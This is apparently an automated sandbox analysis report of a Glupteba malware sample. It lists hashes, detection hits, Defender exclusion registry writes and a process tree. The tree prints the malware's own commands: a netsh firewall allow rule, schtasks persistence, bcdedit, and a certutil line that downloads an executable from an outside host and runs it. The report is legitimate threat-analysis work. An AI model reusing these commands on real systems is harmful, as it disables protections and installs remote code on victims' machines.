Analysis
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max time kernel
150s -
max time network
176s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
20-05-2022 22:19
Static task
static1
Behavioral task
behavioral1
Sample
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
Resource
win7-20220414-en
General
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Target
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
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Size
3.8MB
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MD5
7da8b9fc5c5a67a06afc0749473f1b6e
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SHA1
7b0c1138015a3a573469e1142e44be65b73979c5
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SHA256
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7
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SHA512
5b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7
Malware Config
Signatures
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Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/1448-56-0x00000000053B0000-0x0000000005AA6000-memory.dmp family_glupteba behavioral1/memory/1448-57-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/1388-63-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba behavioral1/memory/868-70-0x0000000000400000-0x00000000036C8000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 868 csrss.exe 1008 patch.exe 1276 -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 12 IoCs
Processes:
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exepatch.exepid process 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe 880 1008 patch.exe 1008 patch.exe 1008 patch.exe 1008 patch.exe 1008 patch.exe 1276 1008 patch.exe 1008 patch.exe 1008 patch.exe -
Processes:
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d26671056783.exe = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d26671056783 = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WanderingSun = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\WanderingSun = "\"C:\\Windows\\rss\\csrss.exe\"" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 1292 bcdedit.exe -
Drops file in Windows directory 3 IoCs
Processes:
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exemakecab.exedescription ioc process File created C:\Windows\rss\csrss.exe bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe File created C:\Windows\Logs\CBS\CbsPersist_20220521002317.cab makecab.exe File opened for modification C:\Windows\rss bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exepid process 1448 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execsrss.exedescription pid process Token: SeDebugPrivilege 1448 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Token: SeImpersonatePrivilege 1448 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe Token: SeSystemEnvironmentPrivilege 868 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.execmd.execsrss.exedescription pid process target process PID 1388 wrote to memory of 1652 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe cmd.exe PID 1388 wrote to memory of 1652 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe cmd.exe PID 1388 wrote to memory of 1652 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe cmd.exe PID 1388 wrote to memory of 1652 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe cmd.exe PID 1652 wrote to memory of 1856 1652 cmd.exe netsh.exe PID 1652 wrote to memory of 1856 1652 cmd.exe netsh.exe PID 1652 wrote to memory of 1856 1652 cmd.exe netsh.exe PID 1388 wrote to memory of 868 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe csrss.exe PID 1388 wrote to memory of 868 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe csrss.exe PID 1388 wrote to memory of 868 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe csrss.exe PID 1388 wrote to memory of 868 1388 bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe csrss.exe PID 868 wrote to memory of 1292 868 csrss.exe bcdedit.exe PID 868 wrote to memory of 1292 868 csrss.exe bcdedit.exe PID 868 wrote to memory of 1292 868 csrss.exe bcdedit.exe PID 868 wrote to memory of 1292 868 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe"C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe"C:\Users\Admin\AppData\Local\Temp\bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220521002317.log C:\Windows\Logs\CBS\CbsPersist_20220521002317.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD57da8b9fc5c5a67a06afc0749473f1b6e
SHA17b0c1138015a3a573469e1142e44be65b73979c5
